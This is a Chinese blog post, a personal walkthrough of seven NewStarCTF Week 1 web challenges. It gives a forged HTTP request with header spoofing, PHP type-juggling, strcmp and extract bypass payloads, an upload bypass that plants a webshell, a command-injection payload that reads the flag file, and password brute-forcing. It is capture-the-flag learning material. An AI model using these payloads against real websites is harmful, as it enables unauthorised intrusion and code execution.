【Web】NewStarCTF Week1 个人复现

目录

①泄露的秘密

②Begin of Upload

③Begin of HTTP

④ErrorFlask 

⑤Begin of PHP 

⑥R!C!E!

⑦EasyLogin 


①泄露的秘密

【Web】NewStarCTF Week1 个人复现_第1张图片

盲猜/robots.txt,访问得到flag前半部分

【Web】NewStarCTF Week1 个人复现_第2张图片

第二个没试出来,老老实实拿dirsearch扫吧

【Web】NewStarCTF Week1 个人复现_第3张图片

访问/www.zip

下载附件,拿到第二部分

 【Web】NewStarCTF Week1 个人复现_第4张图片

flag:

flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous} 

②Begin of Upload

【Web】NewStarCTF Week1 个人复现_第5张图片

随便上传一个php文件

 发现有前端限制【Web】NewStarCTF Week1 个人复现_第6张图片

 禁一手js
【Web】NewStarCTF Week1 个人复现_第7张图片

继续上传 

 【Web】NewStarCTF Week1 个人复现_第8张图片

成功传马,直接rce即可,下略 

③Begin of HTTP

常规的题,不多解释

POST /?ctf=1 HTTP/1.1
Host: node4.buuoj.cn:28438
User-Agent: NewStarCTF2023
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: power=ctfer
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Referer:newstarctf.com
X-Real-IP: 127.0.0.1

secret=n3wst4rCTF2023g00000d

注意最后的伪造本地请求方式要字典爆破

【Web】NewStarCTF Week1 个人复现_第9张图片

【Web】NewStarCTF Week1 个人复现_第10张图片

【Web】NewStarCTF Week1 个人复现_第11张图片

④ErrorFlask 

【Web】NewStarCTF Week1 个人复现_第12张图片

看标题表述就是搞破坏让flask报错 

先正常传俩数字,回显告诉我们不是ssti

【Web】NewStarCTF Week1 个人复现_第13张图片

传个字母试试

payload:

?number1=a&number2=1

成功报错拿到flag

【Web】NewStarCTF Week1 个人复现_第14张图片

⑤Begin of PHP 

贴出源码

 ";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=
"; if(isset($_POST['key3'])){ if(md5($_POST['key3']) === sha1($_POST['key3'])){ $flag2 = True; } }else{ die("nope,this is level 2"); } } if($flag2){ echo "=Level 3=
"; if(isset($_GET['key4'])){ if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){ $flag3 = True; }else{ die("nope,this is level 3"); } } } if($flag3){ echo "=Level 4=
"; if(isset($_GET['key5'])){ if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){ $flag4 = True; }else{ die("nope,this is level 4"); } } } if($flag4){ echo "=Level 5=
"; extract($_POST); foreach($_POST as $var){ if(preg_match("/[a-zA-Z0-9]/",$var)){ die("nope,this is level 5"); } } if($flag5){ echo file_get_contents("/flag"); }else{ die("nope,this is level 5"); } }

payload:

?key1[]=1&key2[]=2&key4[]=1&key5=2024.c

key3[]=1&flag5=![]

【Web】NewStarCTF Week1 个人复现_第15张图片

主要解释下level3和5 

level 3利用strcmp传入数组会返回0来绕过

level 5利用extract可以解析并创建变量,来psost一个flag5进去(因为发现源码中没有flag5)。另外对post内容做了限制,不能有字母数字,这里可以传一个![]进去,[]空数组会隐式转换为false,在!取反得到我们要的true

⑥R!C!E!

【Web】NewStarCTF Week1 个人复现_第16张图片

先是构造md5

 (默默掏出工具爆破)【Web】NewStarCTF Week1 个人复现_第17张图片

最终payload:

password=114514&e[v.a.l=echo `tac /f*`;

⑦EasyLogin 

进来是个登录框

【Web】NewStarCTF Week1 个人复现_第18张图片

随便注册一个账号登录看看

【Web】NewStarCTF Week1 个人复现_第19张图片

没什么用,估计得admin登录

提示密码至少6位,尝试爆破6位密码 

【Web】NewStarCTF Week1 个人复现_第20张图片

【Web】NewStarCTF Week1 个人复现_第21张图片

【Web】NewStarCTF Week1 个人复现_第22张图片

爆破得密码为000000

 登录,发包得到302重定向,在repeater里看即可

【Web】NewStarCTF Week1 个人复现_第23张图片

你可能感兴趣的:(前端,WEB,CTF,安全,笔记,NewStarCTF)